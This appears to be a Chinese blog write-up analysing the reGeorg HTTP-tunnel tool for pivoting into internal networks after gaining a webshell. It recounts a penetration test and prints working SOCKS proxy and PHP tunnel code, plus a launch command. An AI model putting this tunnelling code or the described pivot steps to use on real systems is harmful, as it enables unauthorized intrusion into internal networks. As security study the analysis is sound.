reGeorg簡單分析


適用場景

一般用在服務器已被getshell,想橫向滲透但是因為ACL策略較為嚴格。只允許http協議進出。無法直接將端口轉發

或者是內網主機通過端口映射到外網主機,並且內網主機無法訪問外網。這時想進行內網滲透時,也可使用該工具代理進入內網,通過http協議傳達請求

來自Screw師傅的分析文章(圖片繪制的流程超級清楚,🐂🍺)

實戰經歷

一次滲透經歷,通過weblogic CVE-2019-2728漏洞直接獲取webshell后,遇到了一個內網環境

發現獲取shell到的主機為內網映射端口到外網的主機,通過大馬執行CMD命令發現是在內網中,且ping不通外網,這時候無法上線內網主機

這時候需要代理進內網,這里使用了reGeorg來打通http隧道,順便學習了一波

首先上傳tunnel.jsp,發現已經有人搞過了,直接用他傳的jsp的tunnel吧

 

 

 

python2啟動代理服務器腳本

pyton2 reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u  http://xx/tunnel.jsp

配置下proxifier

加一個SOCKS5代理服務器地址

這里我沒有用全局,沒有必要,就設置某些應用程序使用該代理,這里設置了下firefox,由於是客戶的內網,之前已經連內網進入看了一下,記錄了一個內網的地址的web頁面,測試連接是否正常。設置了下Target Hosts為內網的C段地址,這樣的話,就沒有太多沒用的請求影響我們的通道

之前發現的是一個admin/admin弱口令登錄的ActiveMQ的中間件,版本是5.1的,應該存在反序列化漏洞,這都是昨天測試的。這里測試下通道是否正常

 

通道正常,直通內網,這里隨便點一個鏈接,通過wireshark看一下發送的web請求。其實就算一個中轉一樣,通過將流量發送到web跳板機,流量的內容就是一個post,然后web跳板機上的tunnel.jsp將流量轉發到內網后再返回數據

今天這個關站了,reGeorgSocksProxy如何傳輸到內網的原理我還不太理解。找了一個之前拿到shell的繼續測試一下

內網IP:

 

這次可以ping通外網,這種情況就是可以直接上線到CS,然后常規內網滲透

這里存在內網,我就是想了解reGeorgSocksProxy傳輸的一個過程

首先是探測tunnel服務是否正常

然后我通過proxifier代理瀏覽器web請求

 

 抓到的Http流,這里首先是建立一個connect

然后發送了一個read請求去讀取內容

獲取了相應內容

嘗試任意發送一個get請求,然后抓包

對內網發起的請求對應的是Socks代理服務器發送到tunnel.jsp的get請求?Cmd=forward,然后POST內容就是我們的http請求包。forward后立馬發送一個?Cmd=read的get請求去讀取結果

首先看一下reGeorgSocksProxy.py,主要功能是在本地起一個socks代理服務器,然后通過http形式轉發請求到隧道(主要是跟着Screw師傅的分析走的)

這里是起一個socks代理服務器,監聽的地址和端口為命令行輸入的-l 監聽地址和-p 監聽端口

READBUFSIZE = args.read_buff
    servSock = socket(AF_INET, SOCK_STREAM)
    servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    servSock.bind((args.listen_on, args.listen_port))
    servSock.listen(1000)
    while True:
        try:
            sock, addr_info = servSock.accept()
            sock.settimeout(SOCKTIMEOUT)
            log.debug("Incomming connection")
            session(sock, args.url).start()
        except KeyboardInterrupt, ex:
            break
        except Exception, e:
            log.error(e)
    servSock.close()

然后跟隨類重寫thread的session類查看

判斷代理服務器收到的流量是socks5還是socks4的流量,然后進入對應的解析流量的函數

    def handleSocks(self, sock):
        # This is where we setup the socks connection
        ver = sock.recv(1)
        if ver == "\x05":
            return self.parseSocks5(sock)
        elif ver == "\x04":
            return self.parseSocks4(sock)

解析本地代理服務器獲取到的數據獲得目的IP和端口

    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods, methods = (sock.recv(1), sock.recv(1))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == "\x02":  # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == "\x01":  # IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = "." .join([str(ord(i)) for i in target])
        elif atyp == "\x03":  # Hostname
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = "".join([unichr(ord(i)) for i in target])
        elif atyp == "\x04":  # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr = []
            for i in xrange(len(target) / 2):
                tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1])))
            target = ":".join(tmp_addr)
        targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
        if cmd == "\x02":  # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == "\x03":  # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == "\x01":  # CONNECT
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target, targetPort)
            if self.cookie:
                sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                return True
            else:
                sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort))

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

然后當客戶端與代理服務器建立連接后,調用setupRemoteSession函數然后向tunnel發送一個connect請求

如果請求成功,會將生成的sessionID保存下來(很重要用來保存整個服務端和Target的Socket會話狀態)

下面的reader和writer函數就不看了,就是調用線程,然后while true讀取返回數據和發送請求內容的

    def setupRemoteSession(self, target, port):
        headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
        self.target = target
        self.port = port
        cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        # response = conn.request("POST", self.httpPath, params, headers)
        response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
            else:
                if response.getheader("X-ERROR") is not None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data))
        conn.close()
        return cookie

下面對着php的socket tunnel來看,tunnel.php獲取到ip和port,然后與目標建立一個socket連接(TCP協議類型)

當session存在生效時,while循環就一直掛着,當$_SESSION["writebuf"]不為空的時候,就將writebuf通過socket傳入,然后只要獲取內網機器傳回來的數據后就存放到$readBuff中

session_write_close()的作用

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    set_time_limit(0);
    $headers=apache_request_headers();
    $cmd = $headers["X-CMD"];
    switch($cmd){
        case "CONNECT":
            {
                $target = $headers["X-TARGET"];
                $port = (int)$headers["X-PORT"];
                $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                if ($sock === false)
                {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed creating socket');
                    return;
                }
                $res = @socket_connect($sock, $target, $port);
                if ($res === false)
                {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed connecting to target');
                    return;
                }
                socket_set_nonblock($sock);
                @session_start();
                $_SESSION["run"] = true;
                $_SESSION["writebuf"] = "";
                $_SESSION["readbuf"] = "";
                ob_end_clean();
                header('X-STATUS: OK');
                header("Connection: close");
                ignore_user_abort();
                ob_start();
                $size = ob_get_length();
                header("Content-Length: $size");
                ob_end_flush();
                flush();
                session_write_close();

                while ($_SESSION["run"])
                {
                    $readBuff = "";
                    @session_start();
                    $writeBuff = $_SESSION["writebuf"];
                    $_SESSION["writebuf"] = "";
                    session_write_close();
                    if ($writeBuff != "")
                    {
                        $i = socket_write($sock, $writeBuff, strlen($writeBuff));
                        if($i === false)
                        {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed writing socket');
                        }
                    }
                    while ($o = socket_read($sock, 512)) {
                    if($o === false)
                        {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed reading from socket');
                        }
                        $readBuff .= $o;
                    }
                    if ($readBuff!=""){
                        @session_start();
                        $_SESSION["readbuf"] .= $readBuff;
                        session_write_close();
                    }
                    #sleep(0.2);
                }
                socket_close($sock);
            }
            break;

建立完連接后,因為socks代理服務器腳本中是先進行read的線程啟動,所以會先去read一次,然后再forward一次

發送forward請求后,tunnel腳本通過php://input獲取本地代理腳本發來的post的數據,然后將瀏覽器對內網機器的http訪問請求存入$_SESSION["writebuf"](即POST的內容)

        case "FORWARD":
            {
                @session_start();
                $running = $_SESSION["run"];
                session_write_close();
                if(!$running){
                    header('X-STATUS: FAIL');
                    header('X-ERROR: No more running, close now');
                    return;
                }
                header('Content-Type: application/octet-stream');
                $rawPostData = file_get_contents("php://input");
                if ($rawPostData) {
                    @session_start();
                    $_SESSION["writebuf"] .= $rawPostData;
                    session_write_close();
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: POST request read filed');
                }
            }
            break;
    }

上面就是通過tunnel獲取到對內網機器的真實http請求,然后通過建立socket通道將請求轉發給真正的目標機器

然后再來看下發送的read請求,tunnel收到read命令后,會將$_SESSION["readbuf"]存入$readBuffer變量中,然后只要約定的session會話還在,就會返回$readBuffer的內容

        case "READ":
            {
                @session_start();
                $readBuffer = $_SESSION["readbuf"];
                $_SESSION["readbuf"]="";
                $running = $_SESSION["run"];
                session_write_close();
                if ($running) {
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    echo $readBuffer;
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: RemoteSocket read filed');
                    return;
                }
            }
            break;

上面的流程就是發送connect使tunnel與目標機器建立socket連接,當session會話存在時,通過循環判斷是否有需要傳遞的內容,如果有,就會通過socket連接向目標機器發送請求內容,並且會不斷從與目標機器建立的socket連接中獲取數據,如果存在就寫入readBuff變量中。接着發送forward請求,將真實的數據發送給tunnel,然后tunnel獲取到post數據轉發到socket連接中,發送給目標機器,然后將目標機器返回的數據存放到到$_SESSION["readbuf"]中,等待下一次read請求來獲取該內容。基本流程就是這樣

但是稍微遇到了一些問題,發現有時候流量挺大的,本地代理服務器在獲取到數據后,然后會不停發送read請求

 

通過一句話木馬直接寫入的項目:

https://github.com/zsxsoft/reGeorg

LCTF 2018 中 zsx 師傅,將這款工具的 php 部分進行了修改,實現了只要遠端有一個 一句話木馬就能直接運行(實際上本質就是將這個代理腳本作為數據傳到小馬里面 eval,其他語言的部分其實可以根據自己所需進行修改如下圖)

這是讀取代理腳本到變量

 

 

 這里是將變量作為參數傳入一句話

 

 

 

 參考文章:

https://www.k0rz3n.com/2019/07/27/reGeorg%20%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90(%E4%BB%A5%20php%20%E4%B8%BA%E4%BE%8B)/

http://screwsec.com/2020/06/05/reGeorg%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/#%E8%83%8C%E6%99%AF


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM